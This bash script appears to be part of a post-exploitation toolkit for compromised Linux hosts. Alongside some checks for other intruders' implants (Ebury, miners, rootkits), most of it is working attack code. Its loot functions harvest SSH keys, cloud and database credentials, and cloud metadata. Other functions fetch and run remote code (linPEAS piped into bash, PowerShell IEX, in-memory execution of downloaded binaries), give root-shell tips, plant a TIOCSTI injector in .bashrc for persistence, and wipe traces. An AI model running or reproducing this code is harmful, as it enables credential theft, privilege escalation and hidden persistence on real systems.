{ [[ "$st" == *"-rwsr"* ]] || [[ "$st" == *"-rwSr"* ]] || [[ "$st" == *"-r-sr"* ]] || [[ "$st" == *"-r-Sr"* ]]; } && return 0 ## YES
[ "$(uname -m)" != "x86_64" ] && minsize=68000
v=$(stat --format='%s' "${bin}")
[ -n "$v" ] && [ "$v" -gt ${minsize:-32000} ] && return 0 ## YES
command -v nm >/dev/null && {
# Ebury binaries fail on nm -D
nm -D "${bin}" &>/dev/null || return 0 ## YES
}
}
rv=$(_ebsock)
[ -z "$rv" ] && return 255 ## NOT found.
rv=$(grep -E "${rv}" /proc/net/unix)
[ -n "$rv" ] && { rv="Try lsof -U | grep event-"$'\n'"$rv"; return 0; } ## YES
return 255 ## NOT found.
}
# If GDB is available, dump Ebury log from process memory
_ebcredgdbdump() {
local pid="${1:?}"
local x="$(grep ^7 /proc/$pid/maps | grep -Fm1 ' 00:00 0' |cut -f1 -d' ')"
gdb -q --batch --pid "$pid" "/proc/${pid}/exe" -ex "dump memory /dev/stderr 0x${x%%-*} 0x${x##*-}" 2>&1 >/dev/null | strings | grep ^1
}
# Otherwise dump it via the Ebury abstract unix domain socket
# Note: This will CLEAN the log after reading it.
_ebcredsoxdump() {
while :; do
local s="$(printf "\2\0\0\0\0\0\0\0\0\0\0\0\0" | _audsock "$(_ebsock)" | strings)"
[ -z "$s" ] && break
echo "$s"
done
}
_ebgdborsox() {
local pid="${1}"
local usegdb="${2:-}"
[ "$usegdb" = 1 ] && {
_ebcredgdbdump "$pid"
return
}
_ebcredsoxdump
}
_ebdump() {
local usegdb s con rvia res pid="${1}"
rvia="via @$(_ebsock)"
[ "$UID" -eq 0 ] && [ -n "$pid" ] && [ -z "$DEL" ] && command -v gdb >/dev/null && {
usegdb=1
rvia="via gdb [set DEL=1 to delete logs]"
}
res=$(_ebgdborsox "$pid" "$usegdb" | while :; do
read -r s
[ -z "$s" ] && {
[ -n "$con" ] && echo -e "#$(( ($(date +%s) - con)/60 )) minutes ago"
break
}
echo ":$s"
[ -z "$con" ] && con=$(echo "$s" | grep -E $'\te\t1' | cut -f8 -d $'\t')
done)
[ -z "$res" ] && { echo -en "${CN}"; [ "$usegdb" = 1 ] && echo -e "${CDY}GDB failed. strace running? Dump via socket with ${CF}DEL=1 _warn_ebury${CN}"; return; } #failed. Maybe already ptraced?
echo -e "${CN}${CDY}Dumping Ebury log ${rvia} (last: $(echo "$res" | grep ^# | sed 's/^.//')):${CF}"
echo "$res" | grep ^: | column -t -s$'\t'
echo -en "${CN}"
}
# https://www.travismathison.com/posts/Decoding-Ebury-Malware-SSH-Commands/
# https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf
# https://github.com/eset/malware-research/blob/master/ebury/detect_ebury.sh#L56
# Pesty criminals mass owning. Fuck'm
_warn_ebury() {
local rv pid rvdate
_detect_ebury || return
echo -e "${CR}Ebury backdoor detected [Installation date: ${rvdate:-unknown}].${CF}"
echo "$rv"$'\033[0m'
[ -z "$(_ebsock)" ] && { echo -e "${CR}No Ebury socket found. False positive?.${CF}"; return; } # But no socket?
[ -z "$pid" ] && command -v lsof >/dev/null && pid="$(lsof -U 2>/dev/null | grep -F "$(_ebsock)" | awk '{ print $2;}')"
[ -z "$pid" ] && {
local inode
inode=$(grep "@$(_ebsock)\$" /proc/net/unix | grep ' 00010000 ' | awk '{ print $7 }')
pid=$(find /proc -maxdepth 3 -lname "socket:\[$inode\]" 2> /dev/null | cut -d/ -f 3)
}
[ -z "$pid" ] && pid=$(printf '\4\5\0\0\0\0\0\0' | _audsock "$(_ebsock)" | LANG=C perl -e 'read STDIN,$b,8;print unpack("x4V",$b)' 2>/dev/null)
# \4\5 not working and process running under different user.
if [ -z "$pid" ]; then
echo "Can not determine Ebury master PID"
else
echo -e "${CR}Ebury Master hiding as process:${CF}"
ps -ouser -opid -oppid -ocmd -ocommand -p "${pid}"
fi
rv=$(printf '\4\4\0\0\0\0\0\0' | _audsock "$(_ebsock)" | strings)
[ -n "$rv" ] && echo -en "${CN}${CDY}Ebury exfil server (libcurl):${CF} ${rv}${CN}"
_ebdump "$pid"
}
# Warn of script kiddies
_warn_skids() {
local str s
_warn_fn_found() { [ -f "$1" ] && str+="$1: $2"$'\n'; }
_warn_fn_found "/etc/default/processd.conf" "XMR mining config"
# /tmp/.tmp/bitrix/bitrix running xmrig miner
_warn_fn_found "/usr/sbin/supervise" "gsnc backdoor found"
_warn_fn_found "/usr/bin/defunct" "gsnc backdoor found"
_warn_fn_found "/usr/bin/gs-dbus" "gsnc backdoor found"
# _warn_fn_found "/usr/libexec/ebtables" "Bridge skids backdoor found"
[ -n "$str" ] && {
echo -e "${CR}Script Kiddie files found${CF}"
echo -n "$str"$'\033[0m'
}
# grep -qFm1 '~/.tmp_u' ~/.bashrc 2>/dev/null && str+="Suspicious SSH authorized_key found: ~/.tmp.u"$'\n'
grep -qFm1 'authorized_keys' ~/.bashrc 2>/dev/null && echo -e "${CR}Suspicious SSH authorized_key shenanigans found: ~/.bashrc${CN}"
s=($(grep -HoaFm1 'XMRIG_VERSION' /proc/*/exe /dev/null 2>/dev/null | sed 's|[^0-9]||g'))
# Analyze every UPX packed process for XMRIG_VERSION string
for x in "${_HS_UPX_PIDS[@]}"; do
s+=($(_hs_gdb_proc_match "${x}" 'XMRIG_VERSION'))
done
[ "${#s[@]}" -gt 0 ] && {
echo -e "${CR}XMRig miner processes found:${CF}"
# ps --no-headers -eo pid,%cpu,%mem,command => NOT PORTABLE
for x in "${s[@]}"; do
echo "PID: $x"$'\t'" $(stat -c '%U' /proc/$x)"$'\t'" $(strings /proc/$x/cmdline 2>/dev/null |tr '[\r\n]' ' ' | cut -c -${COLUMNS:-80})"
done
echo -en "${CN}"
}
unset _HS_UPX_PIDS
_warn_ebury
s="$(grep -F 'base64 -d' ~/.bashrc 2>/dev/null)"
[ -n "$s" ] && {
echo -e "${CR}Suspicious base64 -d found in ~/.bashrc${CF}"
echo "$s"$'\033[0m'
}
s="$(grep -r bash /etc/systemd/system/multi-user.target.wants/* 2>/dev/null)"
[ -n "$s" ] && {
echo -e "${CR}Suspicious systemd services:${CF}"
echo "$s"$'\033[0m'
}
s="$(crontab -l 2>/dev/null |strings| grep -iE '(xmrig|mining|base64)' )"
[ -n "$s" ] && {
echo -e "${CR}Suspicious cronjobs:${CF}"
echo "$s"$'\033[0m'
}
s="$(grep '^tmpfs /proc/[0-9]' /proc/mounts 2>/dev/null | sed 's|tmpfs /proc/\([0-9]*\) .*|\1|g')"
[ -n "$s" ] && {
echo -e "${CR}Hidden processes (/proc mounted on tmpfs) found:${CF}"
echo "$s"$'\033[0m'
echo -e "To reveal them, type:\n ${CDC}grep '^tmpfs /proc/' /proc/mounts|sed 's|tmpfs \(/proc/[0-9]*\) .*|\1|g'|xargs umount${CN}"
}
}
xpty() {
local our_pty="$(tty)"
our_pty="${our_pty##*/}"
stat /dev/pts/* -c '%n %X %U' 2>/dev/null |
our_pty="$our_pty" awk -v now="$(date +%s)" '$1 ~ /\/[0-9]+$/ {
gsub( /[^0-9]/, "", $1 )
list[$1]=now-$2 "\t PTY " $1 " user " $3
if( $1==ENVIRON["our_pty"] ) list[$1]=list[$1] " ** this is us **"}
END {for(i in list) print list[i]}' | sort -rn
# reminder: do not use gawk functions, e.g. systime
}
_warn_lkm() {
local n=0
local tainted
local str
[ -e "/proc/sys/kernel/tainted" ] && n="$(</proc/sys/kernel/tainted)"
# https://docs.kernel.org/admin-guide/tainted-kernels.html#decoding-tainted-state-at-runtime
# Check for Proprietary(0), out-of-tree(12) and unsigned(13)
[ "$n" -gt 0 ] && { [ $((n & 1)) -eq 1 ] || [ $((n>>12 & 1)) -eq 1 ] || [ $((n>>13 & 1)) -eq 1 ]; } && tainted=1
[ -z "$tainted" ] && return
echo -e "${CR}Non standard LKM detected${CF} (/proc/sys/kernel/tainted=$n)"
str="$(dmesg | grep -F taint 2>/dev/null)"
[ -n "$str" ] && echo "$str"
command -v modinfo >/dev/null && cat "/proc/modules" 2>/dev/null | while read -r m; do
m="${m%% *}"
str="$(modinfo "$m" 2>/dev/null)" || continue
[[ "$str" == *"Build time autogenerated kernel"* ]] && continue
[[ "$str" == *"intree: Y"* ]] && continue
modinfo "$m" | grep "${_HS_GREP_COLOR_NEVER[@]}" -E '(^filename|^author)'
done
echo -en "${CN}"
# Also: cat /sys/kernel/tracing/available_filter_functions*| grep <module_name>
[ -f /sys/kernel/tracing/enabled_functions ] && echo -e "Try ${CDC}cat /sys/kernel/tracing/enabled_functions${CN}"
[ -f /sys/kernel/tracing/touched_functions ] && echo -e "Try ${CDC}cat /sys/kernel/tracing/touched_functions${CN}"
}
# Check for any processes without binaries (deleted/memfd)
_warn_rk_exe() {
local str x out az t w
# readlink -f wont work as non-root on /proc/*/exe if the binary is deleted.
str="$(stat --printf='%N\n' /proc/*/exe 2>/dev/null | grep -E '(\(deleted\)|^/memfd:)' 2>/dev/null)"
[ -z "$str" ] && return
for x in /proc/[123456789]*/exe; do
[ ! -e "$x" ] && continue
str="$(stat --printf='%N' "$x" 2>/dev/null | grep -E '(\(deleted\)|^/memfd:)')"
[ -z "$str" ] && continue
x="${x:6}"
x="${x%%/*}"
[ -z "$x" ] && continue
read -d '' az <"/proc/${x}/cmdline"
[ -z "$az" ] && continue
unset w
[ "${#az}" -gt 80 ] && [[ "${az}" == *" "* ]] && w=" [pid faking options with \s]"
az+=" "
out+="$x"$'\t'"${az:0:64}"$'\n'" +EXE:${str}${w}"$'\n'
done
[ -z "$out" ] && return
echo -e "${CDY}Processes without binaries:${CF}"
echo -n "$out"
echo -en "${CN}"
}
# Warn if there are other root kits found.
_warn_rk() {
command -v stat >/dev/null && _warn_rk_exe
_warn_lkm
}
_hs_gen_home() {
local IFS
local str
local fn
unset HOMEDIRARR
if [ -n "$HOMEDIR" ]; then
if [ -d "${ROOTFS}${HOMEDIR}" ]; then
str="$({ find "${ROOTFS}${HOMEDIR}" -mindepth 1 -maxdepth 1 -type d; } | sort -u)"
else
HS_WARN "Directory not found: HOMEDIR='${ROOTFS}${HOMEDIR}'"
fi
fn="${ROOTFS}/root"
[ -d "$fn" ] && str+="$fn"$'\n'
else
# str="$({ find "${HOMEDIR:-/home}" -mindepth 1 -maxdepth 1 -type d; awk -F':' '{print $6}' </etc/passwd 2>/dev/null | while read -r d; do [ -d "$d" ] && echo "$d"; done; [ -d /var/www ] && echo "/var/www"; } | sort -u)"
str="$({ find "${ROOTFS}${HOMEDIR:-/home}" -mindepth 1 -maxdepth 1 -type d 2>/dev/null; cat "${ROOTFS}/etc/passwd" 2>/dev/null | awk -F':' '{print $6}' 2>/dev/null | while read -r d; do [ ! -d "${ROOTFS}$d" ] && continue; [[ "$d" == "/" || "$d" == "/bin" || "$d" == "/sbin" ]] && continue; echo "${ROOTFS}${d%/}"; done; } | sort -u)"
[ -d "${ROOTFS}/var/www" ] && [[ "$str" != *"/var/www"* ]] && str+=$'\n'"${ROOTFS}/var/www"
fi
set -f
IFS=$'\n' HOMEDIRARR=($str)
set +f
}
lootlight() {
local str
ls -al "${ROOTFS}"/tmp/ssh-* &>/dev/null && {
echo -e "${CB}SSH_AUTH_SOCK${CDY}${CF}"
find "${ROOTFS}"/tmp -name 'agent.*' 2>/dev/null | while read -r fn; do
unset str
command -v lsof >/dev/null && lsof -n "$fn" &>/dev/null && str="[ACTIVE]"
echo "$(ls -al "$fn")"$'\t'"${str}"
done
echo -en "${CN}"
}
[ "$UID" -ne 0 ] && {
unset str
str="$(find "${ROOTFS}"/var/tmp "${ROOTFS}"/tmp -maxdepth 2 -uid 0 -perm /u=s -ls 2>/dev/null)"
[ -n "$str" ] && {
echo -e "${CB}B00M-SHELL ${CDY}${CF}"
echo "${str}"
echo -en "${CN}"
echo -e "${CW}TIP: ${CDC}/${str##* /}"' -p -c "exec '"${HS_PY:-python}"' -c \"import os;os.setuid(0);os.setgid(0);os.execl('"'"'/bin/bash'"'"', '"'"'-bash'"'"')\""'"${CN}"
}
str="$( { readlink -f "${ROOTFS}"/lib64/ld-*.so.* || readlink -f "${ROOTFS}"/lib/ld-*.so.* || readlink -f "${ROOTFS}"/lib/ld-linux.so.2; } 2>/dev/null )"
[ -f "$str" ] && getcap "$str" 2>/dev/null | grep -qFm1 cap_setuid 2>/dev/null && {
echo -e "${CB}B00M-SHELL ${CDY}${CF}"
getcap "${str}" 2>/dev/null
echo -en "${CN}"
# BUG: Linux yells 'Inconsistency detected by ld.so: rtld.c: 1327: _dl_start_args_adjust: Assertion `auxv == sp + 1' failed!'
# if TMPDIR=/dev/shm and ld.so is used to load binary.
echo -en "${CW}TIP: ${CDC}unset TMPDIR; $str $(command -v "${HS_PY:-python}") -c"
echo "\$'import os\ntry:\n\tos.setuid(0)\n\tos.setgid(0)\nexcept:\n\tpass\n''"'os.execl("/bin/bash", "-bash");'"'"
}
}
unset str
if command -v pgrep >/dev/null && pgrep --help 2>/dev/null | grep -qFm1 -- --list-full ; then
if [[ "$UID" -eq 0 ]]; then
str="$(pgrep -x 'ssh' --list-full)"
else
str="$(pgrep -x 'ssh' --list-full --euid "$UID")"
fi
elif command -v ps >/dev/null; then
if [[ "$UID" -eq 0 ]]; then
str="$(ps alx | grep "ssh " | grep -v grep)"
else
str="$(ps lx | grep "ssh " | grep -v grep)"
fi
fi
[ -n "$str" ] && {
echo -e "${CB}SSH-Hijack ${CF}[reptyr -T \$(pidof -s ssh)]${CDY}${CF}"
echo "${str}"
echo -e "${CN}"
}
[ ! -d /sf ] && {
_warn_edr
_warn_rk
_warn_upx_exe
_warn_skids
}
declare -f _extended_history >/dev/null && [ -n "$PROMPT_COMMAND" ] && {
unset PROMPT_COMMAND
echo -e "${CR}Extended bash-history was enabled. Check ~/.bash_extended_history${CN}"
}
}
_lootmore_last() {
command -v last >/dev/null || return
if [ -z "${ROOTFS}" ]; then
echo -e "${CB}Last Logins ${CDY}${CF}"
last -i -n20 2>/dev/null
else
fn="${ROOTFS}/var/log/wtmp"
[ ! -s "${fn}" ] && return
echo -e "${CB}Last Logins ${CDY}${CF}"
last -i -n20 -f "${fn}" 2>/dev/null
fi
echo -en "${CN}"
}
_lootmore_docker() {
local fn
command -v docker >/dev/null || return
[ -n "$ROOTFS" ] && {
fn="${ROOTFS}/var/run/docker.sock"
[ ! -e "$fn" ] && return
DOCKER_HOST="unix://${fn}"
}
str="$(DOCKER_HOST="${DOCKER_HOST}" docker ps -a 2>/dev/null)"
[ -z "$str" ] && return
echo -e "${CB}Docker ${CDY}${CF}"
echo "$str"
echo -en "${CN}"
}
_lootmore_pct() {
command -v pct >/dev/null || { unset _HS_LOOT_PCT; return; }
# lxc-ls
# for x in $(lxc-ls); do lxc-info -n "$x" -s -i; done
str="$(pct list 2>/dev/null | grep -v ^VMID)"
[ -z "$str" ] && return
echo -e "${CB}Proxmox VMs${CF} [try lxc-ls]${CDY}${CF}"
echo "$str"
echo -en "${CN}"
_HS_LOOT_PCT=1
}
_lootmore_lxc() {
# Skip if already looted ProxMox (it uses lxc)
[ -n "$_LS_LOOT_PCT" ] && return
command -v lxc-ls >/dev/null || return
command -v lxc-info >/dev/null || return
str="$(for x in $(lxc-ls); do lxc-info -n "$x" -sip 2>/dev/null; done)"
[ -z "$str" ] && return
echo -e "${CB}LXC Containers${CDY}${CF}"
echo "$str"
echo -en "${CN}"
}
_lootmore_vz() {
command -v vzlist >/dev/null || return
str="$(vzlist -a -t -H 2>/dev/null)"
[ -z "$str" ] && return
echo -e "${CB}OpenVZ${CDY}${CF}"
echo "$str"
echo -en "${CN}"
}
_loot_auth_log() {
[ ! -f "${ROOTFS}/var/log/auth.log" ] && return
str="$({ grep -ohE 'sshd.* Accepted .*' "${ROOTFS}/var/log/auth.log.1" "${ROOTFS}/var/log/auth.log" | awk '{ print $7"\t"$5"\t"$3;}' | anew | tail -n 30;} 2>/dev/null)"
[ -z "$str" ] && return
echo -e "${CB}SSHD Logins:${CDY}${CF}"
echo "$str"
echo -en "${CN}"
}
lootmore() {
local hn fn str arr
_hs_init_rootfs
_hs_gen_home
# Find interesting commands in history file
for hn in "${HOMEDIRARR[@]}"; do
fn=()
[ -f "${hn}/.bash_history" ] && fn+=("${hn}/.bash_history")
# gs-netcat
# GS_HOST=xxx gs-netcat
[ -f "${hn}/.bash_extended_history" ] && fn+=("${hn}/.bash_extended_history")
# [2025-11-13 10:58:53] () root /root: gs-netcat
# [2025-11-13 10:58:53] () root /root: gs-netcat
# [2025-11-13 10:58:53] () root /root: GS_HOST= gs-netcat
[ -f "${hn}/.zsh_history" ] && fn+=("${hn}/.zsh_history")
# : 1762985354:0;gs-netcat
# : 1762985354:0;GS_HOST= gs-netcat
[ ${#fn[@]} -eq 0 ] && continue
str="$(grep -hE '([ ;]{1}|^)(ssh|scp|sftp|sshfs|rsync|git|rclone|gs-netcat) ' "${fn[@]}" 2>/dev/null | nocol | anew)"
[ -z "$str" ] && continue
echo -e "${CB}Interesting commands ${CDY}${hn}/.[bash|zsh]_history${CF}"
echo "$str"
echo -en "${CN}"
done
unset str
command -v lastlog >/dev/null && str="$(lastlog -R "${ROOTFS}/" 2>/dev/null | grep -vF 'Never logged')"
command -v lastlog2 >/dev/null && [ -z "$str" ] && str="$(lastlog2 -a -d "${ROOTFS}/var/lib/lastlog/lastlog2.db" 2>/dev/null)"
[ -n "$str" ] && {
echo -e "${CB}Logins ${ROOTFS:+[${ROOTFS}]}${CDY}${CF}"
echo "$str"
echo -en "${CN}"
}
[ -z "${ROOTFS}" ] && {
str="$(dmesg -T 2>/dev/null | tail -n 10)"
[ -n "$str" ] && {
echo -e "${CB}dmesg ${CDY}${CF}"
echo "$str"
echo -en "${CN}"
}
# Execute in subshell so that 'source' does not mess with our variables.
(source "/etc/apache2/envvars" 2>/dev/null && {
unset str
set -f
IFS=$'\n' arr=($(ps auxw|awk '{print $11}'|grep -e "[a]pache" -e "[h]ttpd"|grep -v lighttpd|sort -u))
set +f
for b in "${arr[@]}"; do
grep -Fqs apr_socket_timeout_set "$b" || continue
str+="$("$b" -t -D DUMP_VHOSTS 2>&1)" || continue
done
[ -n "$str" ] && {
echo -e "${CB}Apache Config ${CDY}${CF}"
echo "$str"
echo -en "${CN}"
}
})
}
_lootmore_last
_loot_auth_log
_lootmore_docker
_lootmore_pct
_lootmore_lxc
_lootmore_vz
str="$(grep -sE '^[[:digit:]]' "${ROOTFS}/etc/hosts" |grep -vF -e localhost -e 127.0.0.1)"
[ -n "$str" ] && {
echo -e "${CB}${ROOTFS}/etc/hosts ${CDY}${CF}"
echo "$str"
echo -en "${CN}"
}
unset HOMEDIRARR
[ -z "$ROOTFS" ] && [ -z "$QUIET" ] && echo -e "${CW}TIP:${CN} Type ${CDC}ws${CN} to find out more about this host."
}
# <NAME> <COMMAND> ...
loot_cmd() {
local name="$1"
local str
shift 1
str="$("$@" 2>/dev/null)" || return #cmd failed
[ -z "$str" ] && return
echo -e "${CB}${name}${CDY}${CF}"
echo "$str"
echo -en "${CN}"
}
# Someone shall implement a sub-set from TeamTNT's tricks (use
# noseyparker for cpu/time-intesive looting). TeamTNT's infos:
# https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
# https://www.cadosecurity.com/blog/the-nine-lives-of-commando-cat-analysing-a-novel-malware-campaign-targeting-docker
loot() {
local h="${_HS_HOME_ORIG:-$HOME}"
local str hn fn
_hs_init_rootfs
_hs_gen_home
unset _HS_GOT_SSRF_169
for hn in "${HOMEDIRARR[@]}"; do
fn="${hn}/.my.cnf"
[ ! -s "$fn" ] && continue
str="$(grep -vE "^(#|\[)" "$fn" 2>/dev/null)"
[ -z "$str" ] && continue
echo -e "${CB}MySQL ${CDY}${fn}${CF}"
echo "$str"
echo -en "${CN}"
done
for hn in "${HOMEDIRARR[@]}"; do
fn="${hn}/.mysql_history"
[ ! -s "$fn" ] && continue
str=$(grep -ia '^SET PASSWORD FOR' "$fn" 2>/dev/null) || continue
echo -e "${CB}MySQL ${CDY}${fn}${CF}"
echo "$str"
echo -en "${CN}"
done
### Bitrix
# HOMEDIRARR includes all from /etc/passwd + /var/www
find "${HOMEDIRARR[@]}" -maxdepth 6 -type f -wholename "*/bitrix/.settings.php" -o -wholename "*/bitrix/php_interface/dbconn.php" 2>/dev/null | while read -r fn; do
loot_bitrix "$fn"
done
loot_gitlab "${ROOTFS}/opt/gitlab/etc/gitlab-psql-rc"
loot_gitlab "${ROOTFS}/etc/gitlab-psql-rc"
find "${HOMEDIRARR[@]}" -maxdepth 4 -type f -name wp-config.php 2>/dev/null | while read -r fn; do
_loot_wp "$fn"
done
### SSH Keys
[ -e "${ROOTFS}/etc/ansible/ansible.cfg" ] && {
str="$(grep ^private_key_file "${ROOTFS}/etc/ansible/ansible.cfg" 2>/dev/null)"
s="${str##*= }"
loot_sshkey "$s"
}
for hn in "${HOMEDIRARR[@]}"; do
for fn in "${hn}"/.ssh/*; do
loot_sshkey "$fn"
done
done
_loot_homes "SMB" ".smbcredentials"
_loot_homes "SMB" ".samba_credentials"
_loot_homes "PGSQL" ".pgpass"
_loot_homes "RCLONE" ".config/rclone/rclone.conf"
_loot_homes "GIT" ".git-credentials"
_loot_homes "AWS S3" ".s3cfg" grep "${_HS_GREP_COLOR_NEVER[@]}" -E '=[\s]*[^\s]{6,}'
_loot_homes "AWS S3" ".passwd-s3fs"
_loot_homes "AWS S3" ".s3backer_passwd"
_loot_homes "AWS S3" ".passwd-s3fs"
_loot_homes "AWS S3" ".boto"
_loot_homes "AWS S3" ".aws/credentials"
_loot_homes "NETRC" ".netrc"
_loot_homes "SMTP" ".msmtprc" grep "${_HS_GREP_COLOR_NEVER[@]}" -E '(^user|^password)'
# SSRF
_loot_openstack
_loot_aws
_loot_yandex
[ -z "$_HS_NO_SSRF_169" ] && {
# Found an SSRF
[ -z "$QUIET" ] && echo -e "${CW}TIP:${CN} See ${CB}${CUL}https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf${CN}"
[ -n "$_HS_GOT_SSRF_169" ] && {
# Found and SSRF but could not get infos.
echo -e "${CW}TIP:${CN} Try ${CDC}dl http://169.254.169.254/openstack${CN}"
}
}
command -v screen >/dev/null && loot_cmd "Screen (screen -ls)" screen -ls
command -v tmux >/dev/null && loot_cmd "Tmux" tmux list-s
[ "$UID" -gt 0 ] && {
[ -z "$QUIET" ] && echo -e "${CW}TIP:${CN} Type ${CDC}sudo -v${CN} and ${CDC}sudo -ln${CN} to list sudo perms. ${CF}[may log to auth.log]${CN}"
}
lootlight
unset HOMEDIRARR
[ -z "$ROOTFS" ] && [ -z "$QUIET" ] && {
echo -e "${CW}TIP:${CN} Type ${CDC}lootmore${CN} to loot even more."
[ -d "/vz/root" ] && echo -e "${CW}VMs found${CN}: Try ${CDC}"'for x in /vz/root/*; do ROOTFS="$x" loot; done'"${CN}"
}
}
# Try to find LPE
# https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
# https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASps1
lpe() {
# Detect the OS
OS="$(uname -s)"
case "$OS" in
Linux|Darwin)
echo -e "${CB}Running linPEAS...${CN}"
dl 'https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh' | bash
;;
CYGWIN*|MINGW*|MSYS*)
echo -e "${CB}Running winPEAS...${CN}"
if command -v powershell >/dev/null 2>&1; then
echo -e "${CB}Using PowerShell to download and execute winPEAS...${CN}"
powershell -Command "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')"
else
echo -e "${CR}Error: PowerShell is not available to run winPEAS.${CN}"
return 1
fi
;;
*)
echo -e "${CR}Error: Unsupported operating system: $OS.${CN}"
return 1
;;
esac
}
ws() {
# dl https://thc.org/ws | bash
dl 'https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh' | bash
}
_hs_try_resize() {
local str
local R
local a
local IFS
command -v reset >/dev/null && TERM=xterm reset -I
command -v stty >/dev/null || return
str="$(stty size)"
if [[ "$str" == "24 80" ]] || [[ "$str" == "25 80" ]] || [[ "$str" == "0 0" ]]; then
# NOTE: On localhost, this wont always work because xterm responds to fast and
# before 'read' gets executed.
stty -echo;printf "\e[18t"; read -t5 -rdt R;
IFS=';' read -r -a a <<< "${R:-8;25;80}"
# Normally it returns ROWS/25:COLS/80 but some systems return it reverse
[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}"; a[1]="${a[2]}"; a[2]="${R}"; }
stty sane rows "${a[1]}" cols "${a[2]}"
export COLUMNS="${a[2]}" LINES="${a[1]}"
fi
}
_hs_mk_pty() {
echo -e "${CDM}Upgrading to PTY Shell${CN}${CF} [disable with ${CDC}${CF}export NOPTY=1${CN}${CF}]${CN}"
echo -e ">>> Press ${CDC}Ctrl-z${CN} now and cut & paste ${CDC}stty raw -echo icrnl opost; fg${CN}"
echo -e ">>> ${CG}AFTERWARDS${CDG}, Press enter to continue"
read -r
echo -e ">>> Cut & paste ${CDC} eval \"\$(curl -SsfL ${_HSURL})\"${CN}"
# Some systems no not allow pty allocation.
# => Test if PTY allocation works and call exec therafter
if [ -n "$HS_PY" ]; then
"${HS_PY:-python}" -c "import pty; pty.spawn(['${SHELL:-sh}', '-c' , 'true'])" 2>/dev/null && exec "${HS_PY:-python}" -c "import pty; pty.spawn('${SHELL:-sh}')"
elif command -v script >/dev/null; then
script -qc "${SHELL:-sh} -c true" /dev/null && exec script -qc "${SHELL:-sh}" /dev/null
fi
HS_ERR "Not found: python or script"
}
_hs_destruct() {
[ -n "$_HS_NP_D" ] && [ -d "${_HS_NP_D}" ] && {
rm -f "${_HS_NP_D:?}"
unset _HS_NP_D
}
[ -z "$XHOME" ] && return
[ ! -d "$XHOME" ] && return
echo -e ">>> Cleansing ${CDY}${XHOME}${CN}"
rm -rf "${XHOME:?}"
}
xdestruct() {
_hs_destruct
export HOME="${_HS_HOME_ORIG}"
[ -n "$_HS_PATH_ORIG" ] && export PATH="$_HS_PATH_ORIG"
}
_memexec() {
local name="${NAME:-$1}"
_hs_dep perl || return
shift
[ $PPID -eq 1 ] && LANG=C exec perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}"'"${name:-/usr/bin/python3}"'",@ARGV;exit 255' -- "$@"
LANG=C perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}"'"${name:-/usr/bin/python3}"'",@ARGV;exit 255' -- "$@"
return $?
}
# memexec /bin/sh -c "echo hi"
# memexec -c "echo hi" </bin/sh
# GS_ARGS="-ilqD -s 5sLosWHZLpE9riqt74KvG9" memexec gs-netcat
# memexec https://gsocket.io/bin/gs-netcat
memexec() {
local fn
local prg="$1"
# cat /usr/bin/id | memexec -u
[ ! -t 0 ] && {
_memexec "" "$@"
return
}
[ $# -le 0 ] && { xhelp_memexec; return 255; }
shift
# memexec <URL> <command line options>
[[ "$prg" =~ ^(https|http|ftp):// ]] && {
dl "$prg" | _memexec "" "$@"
return
}
# memexec id -u
fn="$(which "$prg" 2>/dev/null)" && {
_memexec "${prg}" "$@" <"$fn"
return
}
# Check if $prg contains a "/" and return (do not download)
[ "$prg" != "${prg##*/}" ] && { echo >&2 "Command not found: $prg"; return 255; }
# Download binary from pkgforge
dl "https://bin.pkgforge.dev/${HS_ARCH}/${prg}" | _memexec "${prg}" "$@"
return
}
mx() { memexec "$@"; }
ttyinject() {
local is_mkdir
ttyinject_clean() {
[ -e "${_HS_HOME_ORIG}/.config/procps/reset" ] && rm -f "${_HS_HOME_ORIG}/.config/procps/reset"
[ -n "$is_mkdir" ] && rmdir "${_HS_HOME_ORIG}/.config/procps"
}
[ "$UID" -eq 0 ] && { HS_ERR "You are already root"; return; }
[ ! -d "${_HS_HOME_ORIG}/.config/procps" ] && { mkdir -p "${_HS_HOME_ORIG}/.config/procps" || return; is_mkdir=1; }
[ ! -s "${_HS_HOME_ORIG}/.config/procps/reset" ] && {
dl "https://github.com/hackerschoice/ttyinject/releases/download/v1.1/ttyinject-linux-${HS_ARCH}" >"${_HS_HOME_ORIG}/.config/procps/reset" || { ttyinject_clean; return; }
}
chmod 755 "${_HS_HOME_ORIG}/.config/procps/reset" || { ttyinject_clean; return; }
TTY_TEST=1 "${_HS_HOME_ORIG}/.config/procps/reset" || { ttyinject_clean; HS_WARN "System is not vulnerable to TIOCSTI stuffing."; return; }
if [ -s "${_HS_HOME_ORIG}/.bashrc" ]; then
grep -qFm1 'procps/reset' "${_HS_HOME_ORIG}/.bashrc" 2>/dev/null || echo "$(head -n1 "${_HS_HOME_ORIG}/.bashrc")"$'\n'"~/.config/procps/reset 2>/dev/null"$'\n'"$(tail -n +2 "${_HS_HOME_ORIG}/.bashrc")" >"${_HS_HOME_ORIG}/.bashrc"
else
echo '~/.config/procps/reset 2>/dev/null' >"${_HS_HOME_ORIG}/.bashrc"
fi
echo -e "Wait for ${CDY}/var/tmp/.socket${CN} to appear and then do:
${CDC}"'/var/tmp/.socket -p -c "exec python3 -c \"import os;os.setuid(0);os.setgid(0);os.execl('"'"'/bin/bash'"'"', '"'"'-bash'"'"')\""'"${CN}"
}
hs_exit() {
cd /tmp || cd /dev/shm || cd /
[ "${#_hs_bounce_src[@]}" -gt 0 ] && HS_WARN "Bounce still set in iptables. Type ${CDC}unbounce${CN} to stop the forward."
[ -n "$XHOME" ] && [ -d "$XHOME" ] && {
